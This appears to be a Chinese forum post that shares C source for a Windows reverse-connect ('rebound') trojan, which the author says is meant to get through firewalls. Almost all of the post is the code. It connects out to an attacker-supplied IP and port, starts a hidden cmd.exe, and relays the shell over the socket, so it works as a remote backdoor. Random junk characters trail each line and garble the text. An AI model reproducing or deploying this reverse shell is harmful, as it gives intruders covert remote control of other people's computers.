这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +NY4j-O
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/* ============================== *X #e
Rebound port in Windows NT ^m=%Ctu#
By wind,2006/7 >KPJ74R
===============================*/ ]4yvTP3[Rm
#include O+$70
#include MocH>^,
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#pragma comment(lib,"wsock32.lib") m [g}vwS
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void OutputShell(); Y<+4>Eh
SOCKET sClient; yd~fC:_ ]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t;]egk
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void main(int argc,char **argv) :I('xVNPz
{ /z5lxS@#
WSADATA stWsaData; (`u!/
int nRet; U VKN#"_{
SOCKADDR_IN stSaiClient,stSaiServer; ;`B35K
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if(argc != 3) xNkY'4%
{ (0Cszm.
printf("Useage:\n\rRebound DestIP DestPort\n"); hl:eF:'hm
return; 4QNR_w
} ->8q, W2A
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WSAStartup(MAKEWORD(2,2),&stWsaData); r\d:fot
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'qJ-eQ7e
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stSaiClient.sin_family = AF_INET; JWL J<z
stSaiClient.sin_port = htons(0); -/%jeDKp
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jf$wBPg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5XI*I(.%/
{ A.O~'')X
printf("Bind Socket Failed!\n"); ^mpB\D)q
return; @UX@puK`/
} =fG8YZ(
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stSaiServer.sin_family = AF_INET; DZRxp,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l`&6W?C
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c5e\ckqm^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]gksyxn3
{ 6W;kIoB
printf("Connect Error!"); ,d>~='
return; l|A8AuO*?
} "}p?pF<'0
OutputShell(); _KVB~loT
} !^fR8Tp9
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void OutputShell() L0b]^_tI
{ "v!HKnDT
char szBuff[1024]; IGT_
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SECURITY_ATTRIBUTES stSecurityAttributes; 9Fx z!-9m
OSVERSIONINFO stOsversionInfo; -Y?(Zz_w
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sDm},=X}
STARTUPINFO stStartupInfo; jA4v?(AO}#
char *szShell; So%1RY{)
PROCESS_INFORMATION stProcessInformation; *.%)rm
unsigned long lBytesRead; Ko|xEz=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ( L\G!pP.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n UCk0:{
stSecurityAttributes.lpSecurityDescriptor = 0; S aet";pf`
stSecurityAttributes.bInheritHandle = TRUE; 50bP&dj&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w^E]N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yn":!4U1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zGd*Q5l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3KFrVhB=
stStartupInfo.wShowWindow = SW_HIDE; /\uH[[s
stStartupInfo.hStdInput = hReadPipe; i^ cM@?
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S%s|P=u
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GetVersionEx(&stOsversionInfo); b;`#Sea
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switch(stOsversionInfo.dwPlatformId) oy2dA
{ VueQP|
case 1: x*"pDI0k)
szShell = "command.com"; LOUKURe E
break; _E<O+leWf
default: B0XBI0w^Y
szShell = "cmd.exe"; b,
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break; ^_S-s\DW
} srChY&h?<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .y;\puNq
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send(sClient,szMsg,77,0); JW% /^'
while(1) mSw?2ba
{ vzohq1r5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lEyG9Xvi
if(lBytesRead)
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{ [N+ m5{tT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _,Rsl$Tk'
send(sClient,szBuff,lBytesRead,0); x8pbO[_|
} 68J 9T^84
else #A|D\IhF
{ dIk8TJ
lBytesRead=recv(sClient,szBuff,1024,0); >TlW]st
if(lBytesRead<=0) break; 22al
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wzDk{4U
} :Er^"9'A2
} _Ra<|NVQh
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return; U=&^H!LVY
}